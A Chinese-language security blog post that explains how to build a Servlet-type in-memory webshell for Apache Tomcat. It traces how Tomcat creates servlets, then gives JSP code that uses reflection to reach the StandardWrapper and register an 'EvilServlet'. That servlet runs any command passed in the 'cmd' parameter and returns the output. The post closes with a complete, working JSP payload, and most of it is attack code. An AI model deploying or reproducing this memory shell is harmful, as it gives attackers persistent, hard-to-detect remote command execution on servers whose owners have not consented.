Tomcat内存马系列(三):Servlet型
2023-06-15 17:13:55 # Web Security # Java Memory Shell

前言

在掌握了Listener内存马的实现后,Servlet型内存马的实现也变得很简单。此篇笔记主要讲解了构造Servlet型内存马的流程。

探究Servlet的创建流程

同样是创建一个HomeServlet,并将Class的开头与doGet()的地方打上断点

image-20211230134250716

同时在web.xml中添加上

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>HomeServlet</servlet-name>
<servlet-class>HomeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HomeServlet</servlet-name>
<url-pattern>/home</url-pattern>
</servlet-mapping>

运行服务器后发现 第一个断点会在访问/home后断下,因此我们断点,servlet是在server收到请求后创建的。

image-20211230134515772

StandardWrapper中,loadServlet()方法中创建了一个servlet

image-20211230134614746

那么如果我们将this.servletClass改成恶意Servlet,那么恶意Servlet就会被创建。

构造Servlet内存马的创建代码

现在已经知道要修改StandardWrapper中的servletClass,但要想修改,就得先获取到StandardWrapper对象。

image-20211230134947343

StandardWrapper继承了ServletConfig,而ServletConfig是可以直接被我们所获取得,其保存了当前Servlet的配置信息。

因此我们可以直接在jsp中进行获取。

需要注意的是,jsp中获取到的作用域都是Facade类型(如果直接写成StandardWrapperFacade类型会报错)

1
StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config;

image-20211230135326053

可以发现在构造方法中,StandardWrapper类型的context被赋值给了类属性context

因此我们可以用反射的方法来获取到context

1
2
3
4
5
StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config;
Field stdWrapperField = stdWrapperFacade.getClass().getDeclaredField("config");
stdWrapperField.setAccessible(true);
StandardWrapper stdWrapper = (StandardWrapper) stdWrapperField.get(stdWrapperFacade);

获取到standardWrapper后,就可以设置相应的servlet了

1
stdWrapper.setServlet(new EvilServlet());

image-20211230135525495

因此完整的注册内存马代码如下

1
2
3
4
5
6
7
<%
StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config;
Field stdWrapperField = stdWrapperFacade.getClass().getDeclaredField("config");
stdWrapperField.setAccessible(true);
StandardWrapper stdWrapper = (StandardWrapper) stdWrapperField.get(stdWrapperFacade);
stdWrapper.setServlet(new EvilServlet());
%>

构造Servlet内存马恶意代码的构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class EvilServlet extends javax.servlet.http.HttpServlet{
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i=0;
byte[] bytes=new byte[1024];
while ((i=inputStream.read(bytes))!=-1){
resp.getWriter().write(new String(bytes,0,i));
resp.getWriter().write("\r\n");
}
}
}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.StandardWrapperFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.InputStream" %><%--
Created by IntelliJ IDEA.
User: leihehe
Date: 30/12/2021
Time: 09:22
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class EvilServlet extends javax.servlet.http.HttpServlet{
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i=0;
byte[] bytes=new byte[1024];
while ((i=inputStream.read(bytes))!=-1){
resp.getWriter().write(new String(bytes,0,i));
resp.getWriter().write("\r\n");
}
}
}
%>

<%
StandardWrapperFacade stdWrapperFacade = (StandardWrapperFacade) config;
Field stdWrapperField = stdWrapperFacade.getClass().getDeclaredField("config");
stdWrapperField.setAccessible(true);
StandardWrapper stdWrapper = (StandardWrapper) stdWrapperField.get(stdWrapperFacade);
stdWrapper.setServlet(new EvilServlet());
%>

image-20211230140132389